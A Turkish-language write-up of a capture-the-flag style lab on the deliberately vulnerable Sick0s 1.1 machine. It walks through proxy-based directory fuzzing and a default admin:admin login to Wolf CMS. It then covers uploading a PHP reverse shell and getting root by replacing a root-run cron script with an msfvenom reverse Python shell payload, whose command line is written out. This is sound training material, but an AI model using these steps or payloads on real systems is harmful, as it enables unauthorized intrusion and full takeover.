Sick0s 1.1 zafiyetli makinasında bizden istenen root yetkilerine erişmek. Quaoar’da karşılaştığımız senaryo ile oldukça benzer. Makinayı indirmek,daha ayrıntılı bilgi almak için bu linki kullanabilirsiniz.
Öncelikle makinaya ait ip adresini buldum.

Ardından basit bir nmap taraması ile açık portları ve üzerinde çalışan servisleri öğrendim .

Aldığım çıktı sonucunda çok mu basit oldu diye düşünmedim değil. Daha geniş bir port aralığını taramaya karar verdim. Zaman alan bir tarama olduğu için bu esnada Squid Http Proxy nedir, ne iş yapar diye biraz bakındım. Özet olarak böyle bir sonuca vardım.
Squid HTTP,HTTPS,FTP gibi web servisleri için proxy cache yapan aynı zamanda internet çıkışlarını filtreliyerek yönetmeyi sağlayan bir proxy serverdır.
Bu proxy server üzerinden bir nmap taraması başlatmadan önce, tarayıcıda proxy ayarlarını set edip 80 portuna gitmeyi denedim ve başarılı oldum.

Dikkatimi çeken herhangi bir şey ile karşılaşmadım ve proxy üzerinden fuzzing işlemi başlattım.
dirb http://192.168.1.53 -p 192.168.1.53:3128

http://192.168.1.53/robots.txt adresini ziyaret ettiğimde /wolfcms şeklinde bir entry ile karşılaştım.Wolfcms hakkında daha önce fikir sahibi olmadığım için başlangıçta bir servis olduğunu anlayamadım. Üzerine biraz araştırma yaptıktan sonra PHP tabanlı bir “content management system” olduğunu öğrendim. Muhtemelen zafiyetli bir versiyondur düşüncesiyle, versiyon bilgisinin sızdırıldığı bir sayfa bulmak için baya dolandım. Fakat bir sonuca ulaşamadım.
Exploit ararken http://targetsite.com/wolfcms/?/admin/plugin/file_manager/browse/ şeklinde bir path buldum. Daha önce /wolfcms dizini için fuzzing yapmıştım, fakat ?/dizin şeklinde yapılandığı için işe yarar çok bir şey dönmemişti. Bu sayede login sayfasına erişim sağladım. Daha önceki hatalarımdan ders çıkarıp ilk olarak admin:admin ikilisini denedim ve başarıyla sonuçlandı :)
Tabi ki ilk işim php reverse shell içeren bir php kodu yüklemek oldu.Daha önce fuzzing işlemi sırasında /wolfcms/public/images pathini öğrenmiştim. Files>upload kısmından buradaki kodu images/ dizinine yükleyip, tarayıcıdan çağırdığımda www-data kullanıcısı ile bir shell elde etmiş oldum.

Sistem hakkında genel bir bilgi sahibi olabilmek için bu scripti çalıştırdım.
Post exploitation için best practice olarak kabul edilen şeylerden birini yapıp, var olan cron dosyalarını inceledim.

Dosyalardan birini okuduğumda, root kullanıcısı tarafından her dakika çalıştırılan bir script ile karşılaştım.

Scriptin var olduğu dizine gittiğimde güzel bir sürpriz beni bekliyordu :)Dosya üzerinde tüm haklara sahiptim.Demek oluyorki dosyayı istediğim gibi manipüle edebilirim.

Connect.py dosyasının içeriğini bana shell verecek olan bir python koduyla değiştirdim.Bunun için msfvenom ile bir payload oluşturdum.
msfvenom -p cmd/unix/reverse_python LHOST=192.168.1.55 LPORT=7777 -f raw
Connect.py dosyasının içeriğini payload ile değiştirip, ardından bir dinleme başlatıp sistemin scripti çalıştırmasını bekledim.

Scripti çalıştıran root kullanıcısı olduğu için dolayısıyla bende root yetkileri ile shell elde etmiş oldum.

